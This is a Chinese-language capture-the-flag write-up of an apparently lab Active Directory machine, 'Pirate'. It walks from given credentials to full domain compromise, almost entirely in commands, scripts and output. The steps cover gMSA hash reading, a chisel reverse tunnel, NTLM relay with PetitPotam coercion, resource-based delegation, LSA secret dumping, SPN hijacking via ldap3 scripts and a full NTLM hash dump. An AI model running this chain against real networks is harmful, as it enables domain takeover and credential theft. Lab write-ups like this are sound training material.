基本信息

1
As is common in real life pentests, you will start the Pirate box with credentials for the following account pentest / p3nt3st2025!&

端口扫描

80和常规windows域端口：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
$ nmap -sC -sV -Pn 10.129.29.19
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-04 14:56 +0900
Nmap scan report for 10.129.29.19
Host is up (0.077s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-04 12:57:05Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-04T12:58:26+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2025-06-09T14:05:15
|_Not valid after:  2026-06-09T14:05:15
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-04T12:58:27+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2025-06-09T14:05:15
|_Not valid after:  2026-06-09T14:05:15
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2025-06-09T14:05:15
|_Not valid after:  2026-06-09T14:05:15
|_ssl-date: 2026-03-04T12:58:26+00:00; +6h59m59s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m58s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-03-04T12:57:48
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.62 seconds

bloodhound

因为给了初始账号，所以首先添加hosts后常规bloodhound：

1
2
3
4
5
6
10.129.29.19 pirate.htb DC01.pirate.htb dc01 


$ sudo sntp -sS 10.129.29.19

bloodhound-python -u pentest -p 'p3nt3st2025!&' -c All -d pirate.htb -ns 10.129.29.19 --zip

也可以直接试试这个,能自动发现及完成前面一部分路径：

  • ADScanPro/adscan: ADscan is a pentesting tool focused on automating collection, enumeration and common attack paths in Active Directory. It provides an interactive CLI with a wide range of commands to streamline internal audits and AD-focused pentests.
    https://github.com/ADScanPro/adscanß

pre2k

这里还是pre2k，直接adscanpro可以发现，也可以手动ldap或者nxc模块：

1
nxc ldap 10.129.29.19 -u pentest -p 'p3nt3st2025!&' -M pre2k

发现ms01和exch01存在pre2k

ms01 to gmsa

ms01可以读gmsa：

读取gmsa得到gmsa_adcs_prod和gmsa_adfs_prod:

1
2
3
4
5
# 需要kerberos认证
$ nxc ldap 10.129.29.19  -u 'ms01$' -p 'ms01' -k --gmsa

LDAP        10.129.29.19    389    DC01             Account: gMSA_ADCS_prod$      NTLM: 304106f739822ea2ad8ebe23f802d078     PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAP        10.129.29.19    389    DC01             Account: gMSA_ADFS_prod$      NTLM: 8126756fb2e69697bfcb04816e685839     PrincipalsAllowedToReadPassword: Domain Secure Servers

Winrm & proxy

任意一个账号都可以winrm登录，然后设置proxy：

1
2
3
4
5
6
7
8
# winrm
$ python3 winrmexec.py 'gMSA_ADFS_prod$'@10.129.29.19 -hashes :8126756fb2e69697bfcb04816e685839

# local
$ ./chisel_1.7.0-rc7_darwin_amd64 server -p 9999 --reverse

# target
.\chisel.exe client 10.10.14.33:9999 R:socks

之后就是常规内部探测

1
192.168.0.2 web01

relay to web01

没有ldap签名，所以可以让web01访问我们，然后ldap relay来修改web01自身一些属性:

1
2
3
4
5
# relay设置access
$ proxychains4 sudo python3 ntlmrelayx.py -t ldap://dc01 --delegate-access --escalate-user 'gMSA_ADFS_prod$' -smb2support -ip 10.10.14.33 -debug --remove-mic

# 强制访问触发relay
proxychains4 python3 PetitPotam.py -u 'gMSA_ADFS_prod$' -hashes :8126756fb2e69697bfcb04816e685839 -d pirate.htb 10.10.14.33 192.168.100.2

rbcd

之后就是设置rbcd，获取web01:

1
2
3
4
5
# 设置rbcd
python3 examples/rbcd.py -action write -delegate-to 'web01$' -delegate-from 'gMSA_ADFS_prod$' pirate.htb/'gMSA_ADFS_prod$' -hashes :8126756fb2e69697bfcb04816e685839 -dc-ip 10.129.29.19

# 获取票据
python3 examples/getST.py -spn cifs/web01.pirate.htb -impersonate Administrator -dc-ip 10.129.29.19 pirate.htb/'gMSA_ADFS_prod$' -hashes :8126756fb2e69697bfcb04816e685839

web01 & user flag

之后就是使用票据访问web01:

1
2
3
$ export KRB5CCNAME=Administrator@cifs_web01.pirate.htb@PIRATE.HTB.ccache

$ proxychains4 python3 examples/psexec.py Administrator@web01.pirate.htb -k -no-pass -dc-ip 10.129.29.19

user.txt在a.white用户桌面：

web01 dump

然后web01上dump lsa,得到a.white 密码：

1
2
3
4
$ proxychains4 nxc smb web01.pirate.htb --use-kcache --lsa

SMB         web01.pirate.htb 445    WEB01            PIRATE\WEB01$:aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9:::
SMB         web01.pirate.htb 445    WEB01            PIRATE\a.white:E2nvAOKSz5Xz2MJu

a.white to a.white_adm

a.white可以强制修改自己另一个adm账号的密码：

所以先修改密码到a.white_adm:

1
bloodyAD --host DC01.pirate.htb -d pirate.htb -u a.white -p 'E2nvAOKSz5Xz2MJu' set password "a.white_adm" 'Password123!'

a.white_adm to root

a.white_adm对http/WEB01.pirate.htb有delegate权限：

并且对DC01有写权限：

1
$ bloodyAD --host DC01.pirate.htb -d pirate.htb -u a.white_adm -p 'Password123!' get writable

所以我们可以修改DC01的SPN为http/WEB01.pirate.htb来进行SPN劫持:

SPN劫持

修改DC01的SPN，然后就是常规delegate流程：

(python脚本来自discord)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#首先去除本身合法的web01 spn
import ldap3
s = ldap3.Server('10.129.29.19')
c = ldap3.Connection(s,user='PIRATE\\WEB01$',password='aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9',authentication=ldap3.NTLM)
c.bind()
print('Bind:', c.result)
c.modify('CN=WEB01,CN=Computers,DC=pirate,DC=htb', {'servicePrincipalName': [(ldap3.MODIFY_DELETE, ['HTTP/WEB01.pirate.htb'])]})
print('Remove SPN:', c.result)

# 然后给DC01添加SPN：
import ldap3
s = ldap3.Server('10.129.29.19')
c = ldap3.Connection(s, user='PIRATE.HTB\\a.white_adm', password='Password123!', authentication=ldap3.NTLM)
c.bind()
c.modify('CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb', {'servicePrincipalName': [(ldap3.MODIFY_ADD, ['HTTP/WEB01.pirate.htb'])]})
print(c.result)

delegate & root flag

之后就是常规delegate了：

1
2
3
4
5
6
7
8
python3 examples/getST.py -spn HTTP/WEB01.pirate.htb -impersonate Administrator 'pirate.htb/a.white_adm:Password123!' -dc-ip 10.129.29.19 -altservice CIFS/DC01.pirate.htb

$ export KRB5CCNAME=Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
$ python3 examples/secretsdump.py Administrator@DC01.pirate.htb -k -no-pass -just-dc-user Administrator

598295e78bd72d66f837997baf715171

$ python3 examples/psexec.py Administrator@DC01.pirate.htb -k -no-pass

hashdump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ python3 examples/secretsdump.py Administrator@DC01.pirate.htb -k -no-pass -just-dc-ntlm

Administrator:500:aad3b435b51404eeaad3b435b51404ee:598295e78bd72d66f837997baf715171:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:33071738496aba54a991ccc80875c97e:::
pirate.htb\a.white_adm:1104:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
pirate.htb\a.white:3101:aad3b435b51404eeaad3b435b51404ee:d2593a013aaf8e077ab0e69f9471b4c1:::
pirate.htb\pentest:4106:aad3b435b51404eeaad3b435b51404ee:32e1d98aef1071b86d5132f6bb18f3fa:::
pirate.htb\j.sparrow:4110:aad3b435b51404eeaad3b435b51404ee:cfea2c42c4e9e5a1ac6b7ed4b9a9f518:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:230600b8b669ffa1dccf403058170dae:::
WEB01$:3102:aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9:::
MS01$:4102:aad3b435b51404eeaad3b435b51404ee:b80b20b63597d94d0e5c95d119a11c60:::
EXCH01$:4103:aad3b435b51404eeaad3b435b51404ee:bc74a7036b998a5e098615df5af3dfb8:::
gMSA_ADCS_prod$:4105:aad3b435b51404eeaad3b435b51404ee:304106f739822ea2ad8ebe23f802d078:::
gMSA_ADFS_prod$:4108:aad3b435b51404eeaad3b435b51404ee:8126756fb2e69697bfcb04816e685839:::

参考资料